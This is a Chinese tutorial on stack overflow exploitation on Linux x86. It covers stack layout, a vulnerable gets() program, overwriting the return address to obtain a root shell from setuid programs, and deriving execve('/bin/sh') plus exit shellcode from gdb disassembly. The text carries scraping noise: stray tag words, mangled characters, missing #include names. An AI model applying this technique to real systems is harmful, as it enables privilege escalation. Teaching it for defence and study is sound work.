堆棧溢出技術從入門到高深(一)

雖然溢出在程序開發過程當中不可徹底避免,但溢出對系統的威脅是巨大的,因爲系統的特殊性,溢出發生時攻擊者能夠利用其漏洞來獲取系統的高級權限root,所以本文將詳細介紹堆棧溢出技術…… linux

  在您開始瞭解堆棧溢出前,首先你應該瞭解win32彙編語言,熟悉寄存器的組成和功能。你必須有堆棧和存儲分配方面的基礎知識,有關這方面的計算機書籍不少,我將只是簡單闡述原理,着重在應用。其次,你應該瞭解linux,本講中咱們的例子將在linux上開發。 算法

  一、首先複習一下基礎知識。 shell

  從物理上講,堆棧是就是一段連續分配的內存空間。在一個程序中,會聲明各類變量。靜態全局變量是位於數據段而且在程序開始運行的時候被加載。而程序的動態的局部變量則分配在堆棧裏面。 數組

  從操做上來說,堆棧是一個先入後出的隊列。他的生長方向與內存的生長方向正好相反。咱們規定內存的生長方向爲向上,則棧的生長方向爲向下。壓棧的操做push=ESP-4,出棧的操做是pop=ESP+4.換句話說,堆棧中老的值,其內存地址,反而比新的值要大。請緊緊記住這一點,由於這是堆棧溢出的基本理論依據。 sass

  在一次函數調用中,堆棧中將被依次壓入:參數,返回地址,EBP。若是函數有局部變量,接下來,就在堆棧中開闢相應的空間以構造變量。函數執行結束,這些局部變量的內容將被丟失。可是不被清除。在函數返回的時候,彈出EBP,恢復堆棧到函數調用的地址,彈出返回地址到EIP以繼續執行程序。 函數

  在C語言程序中,參數的壓棧順序是反向的。好比func(a,b,c)。在參數入棧的時候,是:先壓c,再壓b,最後a。在取參數的時候,因爲棧的先入後出,先取棧頂的a,再取b,最後取c。這些是彙編語言的基礎知識,用戶在開始前必需要了解這些知識。 ui

  二、如今咱們來看一看什麼是堆棧溢出。 spa

  運行時的堆棧分配 指針

  堆棧溢出就是不顧堆棧中數據塊大小,向該數據塊寫入了過多的數據,致使數據越界,結果覆蓋了老的堆棧數據。 code

  例如程序一:

      #include  
  int main ( ) 
  { 
  char name[8]; 
  printf("Please type your name: "); 
  gets(name); 
  printf("Hello, %s!", name); 
  return 0; 
  }

  編譯而且執行,咱們輸入ipxodi,就會輸出Hello,ipxodi!。程序運行中,堆棧是怎麼操做的呢?

  在main函數開始運行的時候,堆棧裏面將被依次放入返回地址,EBP。

  咱們用gcc -S 來得到彙編語言輸出,能夠看到main函數的開頭部分對應以下語句:

      pushl %ebp 
  movl %esp,%ebp 
  subl $8,%esp

  首先他把EBP保存下來,,而後EBP等於如今的ESP,這樣EBP就能夠用來訪問本函數的局部變量。以後ESP減8,就是堆棧向上增加8個字節,用來存放name[]數組。最後,main返回,彈出ret裏的地址,賦值給EIP,CPU繼續執行EIP所指向的指令。

  堆棧溢出

  如今咱們再執行一次,輸入ipxodiAAAAAAAAAAAAAAA,執行完gets(name)以後,因爲咱們輸入的name字符串太長,name數組容納不下,只好向內存頂部繼續寫‘A’。因爲堆棧的生長方向與內存的生長方向相反,這些‘A’覆蓋了堆棧的老的元素。 咱們能夠發現,EBP,ret都已經被‘A’覆蓋了。在main返回的時候,就會把‘AAAA’的ASCII碼:0x41414141做爲返回地址,CPU會試圖執行0x41414141處的指令,結果出現錯誤。這就是一次堆棧溢出。

  三、如何利用堆棧溢出

  咱們已經制造了一次堆棧溢出。其原理能夠歸納爲:因爲字符串處理函數(gets,strcpy等等)沒有對數組越界加以監視和限制,咱們利用字符數組寫越界,覆蓋堆棧中的老元素的值,就能夠修改返回地址。

  在上面的例子中,這致使CPU去訪問一個不存在的指令,結果出錯。事實上,當堆棧溢出的時候,咱們已經徹底的控制了這個程序下一步的動做。若是咱們用一個實際存在指令地址來覆蓋這個返回地址,CPU就會轉而執行咱們的指令。

  在UINX/linux系統中,咱們的指令能夠執行一個shell,這個shell將得到和被咱們堆棧溢出的程序相同的權限。若是這個程序是setuid的,那麼咱們就能夠得到root shell。下一講將敘述如何書寫一個shell code。


如何書寫一個shell code

  一:shellcode基本算法分析

  在程序中,執行一個shell的程序是這樣寫的:

      shellcode.c 
  ------------------------------------------------------------------------ 
  #include  
  void main() { 
  char *name[2]; 
  name[0] = "/bin/sh" 
  name[1] = NULL; 
  execve(name[0], name, NULL); 
  } 
  ------------------------------------------------------------------------

    execve函數將執行一個程序。他須要程序的名字地址做爲第一個參數。一個內容爲該程序的argv[i](argv[n-1]=0)的指針數組做爲第二個參數,以及(char*) 0做爲第三個參數。

  咱們來看以看execve的彙編代碼:

      [nkl10]$Content$nbsp;gcc -o shellcode -static shellcode.c 
  [nkl10]$Content$nbsp;gdb shellcode 
  (gdb) disassemble __execve 
  Dump of assembler code for function __execve: 
  0x80002bc <__execve>: pushl %ebp ; 
  0x80002bd <__execve+1>: movl %esp,%ebp 
  ;上面是函數頭。 
  0x80002bf <__execve+3>: pushl %ebx 
  ;保存ebx 
  0x80002c0 <__execve+4>: movl $0xb,%eax 
  ;eax=0xb,eax指明第幾號系統調用。 
  0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx 
  ;ebp+8是第一個參數"/bin/sh\0" 
  0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx 
  ;ebp+12是第二個參數name數組的地址 
  0x80002cb <__execve+15>: movl 0x10(%ebp),%edx 
  ;ebp+16是第三個參數空指針的地址。 
  ;name[2-1]內容爲NULL,用來存放返回值。 
  0x80002ce <__execve+18>: int $0x80 
  ;執行0xb號系統調用(execve) 
  0x80002d0 <__execve+20>: movl %eax,%edx 
  ;下面是返回值的處理就沒有用了。 
  0x80002d2 <__execve+22>: testl %edx,%edx 
  0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42> 
  0x80002d6 <__execve+26>: negl %edx 
  0x80002d8 <__execve+28>: pushl %edx 
  0x80002d9 <__execve+29>: call 0x8001a34 
  <__normal_errno_location> 
  0x80002de <__execve+34>: popl %edx 
  0x80002df <__execve+35>: movl %edx,(%eax) 
  0x80002e1 <__execve+37>: movl $0xffffffff,%eax 
  0x80002e6 <__execve+42>: popl %ebx 
  0x80002e7 <__execve+43>: movl %ebp,%esp 
  0x80002e9 <__execve+45>: popl %ebp 
  0x80002ea <__execve+46>: ret 
  0x80002eb <__execve+47>: nop 
  End of assembler dump.

  通過以上的分析,能夠獲得以下的精簡指令算法:

      movl $execve的系統調用號,%eax 
  movl "bin/sh\0"的地址,%ebx 
  movl name數組的地址,%ecx 
  movl name[n-1]的地址,%edx 
  int $0x80 ;執行系統調用(execve)

  當execve執行成功後,程序shellcode就會退出,/bin/sh將做爲子進程繼續執行。但是,若是咱們的execve執行失敗,(好比沒有/bin/sh這個文件),CPU就會繼續執行後續的指令,結果不知道跑到哪裏去了。因此必須再執行一個exit()系統調用,結束shellcode.c的執行。

  咱們來看以看exit(0)的彙編代碼:

      (gdb) disassemble _exit 
  Dump of assembler code for function _exit: 
  0x800034c <_exit>: pushl %ebp 
  0x800034d <_exit+1>: movl %esp,%ebp 
  0x800034f <_exit+3>: pushl %ebx 
  0x8000350 <_exit+4>: movl $0x1,%eax ;1號系統調用 
  0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx ;ebx爲參數0 
  0x8000358 <_exit+12>: int $0x80 ;引起系統調用 
  0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx 
  0x800035d <_exit+17>: movl %ebp,%esp 
  0x800035f <_exit+19>: popl %ebp 
  0x8000360 <_exit+20>: ret 
  0x8000361 <_exit+21>: nop 
  0x8000362 <_exit+22>: nop 
  0x8000363 <_exit+23>: nop 
  End of assembler dump.

  看來exit(0)〕的彙編代碼更加簡單:

      movl $0x1,%eax ;1號系統調用 
  movl 0,%ebx ;ebx爲exit的參數0 
  int $0x80 ;引起系統調用

  那麼總結一下,合成的彙編代碼爲:

      movl $execve的系統調用號,%eax 
  movl "bin/sh\0"的地址,%ebx 
  movl name數組的地址,%ecx 
  movl name[n-1]的地址,%edx 
  int $0x80 ;執行系統調用(execve) 
  movl $0x1,%eax ;1號系統調用 
  movl 0,%ebx ;ebx爲exit的參數0 
  int $0x80 ;執行系統調用(exit)
-=over=-
相關文章
相關標籤/搜索